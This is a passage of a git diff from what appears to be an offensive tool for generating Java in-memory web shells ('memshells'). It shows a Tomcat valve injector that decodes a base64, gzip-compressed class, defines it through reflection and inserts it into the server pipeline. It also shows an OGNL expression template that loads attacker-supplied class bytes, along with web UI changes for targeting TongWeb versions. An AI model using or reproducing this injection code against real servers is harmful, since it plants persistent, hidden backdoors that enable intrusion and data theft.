- Object loader = invokeMethod(context, "getLoader", null, null); - return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); - } - } - - @SuppressWarnings("all") - private Object getShell(Object context) throws Exception { - ClassLoader classLoader = getWebAppClassLoader(context); - try { - return classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); - } - } - - @SuppressWarnings("all") - public void inject(Object context, Object valve) throws Exception { - Object pipeline = invokeMethod(context, "getPipeline", null, null); - if (isInjected(pipeline)) { - System.out.println("valve already injected"); - return; - } - Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); - invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); - System.out.println("valve injected successfully"); - } - - @SuppressWarnings("all") - public boolean isInjected(Object pipeline) throws Exception { - Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); - List valvesList = Arrays.asList(valves); - for (Object valve : valvesList) { - if (valve.getClass().getName().contains(getClassName())) { - return true; - } - } - return false; - } - - - @SuppressWarnings("all") - public static byte[] decodeBase64(String base64Str) throws Exception { - Class decoderClass; - try { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - GZIPInputStream gzipInputStream = null; - try { - gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); - byte[] buffer = new byte[4096]; - int n; - while ((n = gzipInputStream.read(buffer)) > 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } finally { - if (gzipInputStream != null) { - gzipInputStream.close(); - } - out.close(); - } - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - Field field = clazz.getDeclaredField(name); - field.setAccessible(true); - return field.get(obj); - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(); - } - - @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); - } - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java index 6f025920..bf482f18 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java @@ -86,9 +86,18 @@ public class TomcatProxyValveInjector implements InvocationHandler { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = context.getClass().getClassLoader(); + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringIOUtilsPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringIOUtilsPacker.java new file mode 100644 index 00000000..6c6a15a7 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringIOUtilsPacker.java @@ -0,0 +1,18 @@ +package com.reajason.javaweb.packer.ognl; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; + +/** + * @author ReaJason + * @since 2025/7/7 + */ +public class OGNLSpringUtilsPacker implements Packer { + String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}'),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()"; + + @Override + public String pack(ClassPackerConfig config) { + return template.replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", config.getClassBytesBase64Str()); + } +} diff --git a/web/bun.lockb b/web/bun.lockb index 779a9f90..c3e344f0 100755 Binary files a/web/bun.lockb and b/web/bun.lockb differ diff --git a/web/src/components/main-config-card.tsx b/web/src/components/main-config-card.tsx index 5697ec9a..c5094d1e 100644 --- a/web/src/components/main-config-card.tsx +++ b/web/src/components/main-config-card.tsx @@ -22,6 +22,7 @@ import { FormFieldLabel, FormItem, FormLabel, + FormMessage, } from "@/components/ui/form.tsx"; import { Label } from "@/components/ui/label.tsx"; import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select.tsx"; @@ -47,6 +48,13 @@ const shellToolIcons: Record = { [ShellToolType.Custom]: , }; +const defaultServerVersionOptions = [ + { + name: "Unknown", + value: "unknown", + }, +]; + export default function MainConfigCard({ mainConfig, form, @@ -72,6 +80,8 @@ export default function MainConfigCard({ const shellTool = form.watch("shellTool"); const { t } = useTranslation(); + const [serverVersionOptions, setServerVersionOptions] = useState(defaultServerVersionOptions); + // 处理一下 shellTypes 由于 server 或 shellTool 变更时无法正常为 form.shellType 赋值的问题 useEffect(() => { if (shellTypes.length > 0) { @@ -110,6 +120,29 @@ export default function MainConfigCard({ } else { form.resetField("targetJdkVersion"); } + + // 特殊的服务需要指定版本 + if (value === "TongWeb") { + setServerVersionOptions([ + ...defaultServerVersionOptions, + { + name: "6", + value: "6", + }, + { + name: "7", + value: "7", + }, + { + name: "8", + value: "8", + }, + ]); + } else { + setServerVersionOptions(defaultServerVersionOptions); + } + + form.resetField("serverVersion"); form.resetField("bypassJavaModule"); form.resetField("urlPattern"); } @@ -257,6 +290,32 @@ export default function MainConfigCard({ )} /> + ( + + {t("mainConfig.serverVersion")} + + + + )} + /> + +
v{{latestVersion}})", "generator": "Generator", diff --git a/web/src/i18n/zh-CN.json b/web/src/i18n/zh-CN.json index 77552b03..c375929c 100644 --- a/web/src/i18n/zh-CN.json +++ b/web/src/i18n/zh-CN.json @@ -22,6 +22,7 @@ "mainConfig.injectorClassName": "注入器类名", "mainConfig.jre": "目标 JRE 版本", "mainConfig.server": "目标服务", + "mainConfig.serverVersion": "目标服务版本", "mainConfig.shellClassName": "内存马类名", "mainConfig.shellMountType": "内存马挂载类型", "mainConfig.shellTool": "内存马功能", @@ -111,6 +112,7 @@ "tips.waitingForGeneration": "// 等待填写参数生成中...", "tips.customShellClass": "请输入自定义内存马类,base64 或类文件", "tips.specificUrlPattern": "必须指定 URL Pattern,例如 /hello", + "tips.serverVersion": "TongWeb Valve 需要指定 serverVersion", "version.updateAvailable": "有可用升级", "version.updateAvailableTooltip": "点击前往 GitHub Release ( v{{currentVersion}} -> v{{latestVersion}})", "about": "关于", diff --git a/web/src/pages/memshell.tsx b/web/src/pages/memshell.tsx index b53368c7..82a2afcf 100644 --- a/web/src/pages/memshell.tsx +++ b/web/src/pages/memshell.tsx @@ -55,6 +55,7 @@ export default function MemShellPage() { resolver: useYupValidationResolver(formSchema, t), defaultValues: { server: urlParams.server ?? "Tomcat", + serverVersion: urlParams.serverVersion ?? "unknown", targetJdkVersion: urlParams.targetJdkVersion ?? "50", debug: urlParams.debug ?? false, bypassJavaModule: urlParams.bypassJavaModule ?? false, diff --git a/web/src/types/schema.ts b/web/src/types/schema.ts index ec5455b8..29ca7481 100644 --- a/web/src/types/schema.ts +++ b/web/src/types/schema.ts @@ -6,6 +6,7 @@ import { ShellToolType } from "./shell"; export const formSchema = yup.object({ server: yup.string().required().min(1), + serverVersion: yup.string().required().min(1), targetJdkVersion: yup.string().optional(), debug: yup.boolean().optional(), bypassJavaModule: yup.boolean().optional(), @@ -59,6 +60,7 @@ export const useYupValidationResolver = (validationSchema: yup.ObjectSchema const urlPattern: keyof FormSchema = "urlPattern"; const shellClassBase64: keyof FormSchema = "shellClassBase64"; + const serverVersion: keyof FormSchema = "serverVersion"; const errors = {} as any; if (urlPatternIsNeeded(values?.shellType) && isInvalidUrl(values?.urlPattern)) { @@ -73,6 +75,12 @@ export const useYupValidationResolver = (validationSchema: yup.ObjectSchema message: t("tips.customShellClass"), }; } + if (values.server === "TongWeb" && values.shellType === "Valve" && values.serverVersion === "unknown") { + errors[serverVersion] = { + type: "custom", + message: t("tips.serverVersion"), + }; + } return { values, diff --git a/web/src/types/shell.ts b/web/src/types/shell.ts index e9a37477..9ad62126 100644 --- a/web/src/types/shell.ts +++ b/web/src/types/shell.ts @@ -1,5 +1,6 @@ export interface ShellConfig { server: string; + serverVersion: string; shellTool: string; shellType: string; targetJreVersion?: string; diff --git a/web/src/utils/transformer.ts b/web/src/utils/transformer.ts index e073c960..0769f7b9 100644 --- a/web/src/utils/transformer.ts +++ b/web/src/utils/transformer.ts @@ -4,6 +4,7 @@ import { InjectorConfig, ShellConfig, ShellToolConfig } from "@/types/shell.ts"; export function transformToPostData(formValue: FormSchema) { const shellConfig: ShellConfig = { server: formValue.server, + serverVersion: formValue.serverVersion, shellTool: formValue.shellTool, shellType: formValue.shellType, debug: formValue.debug,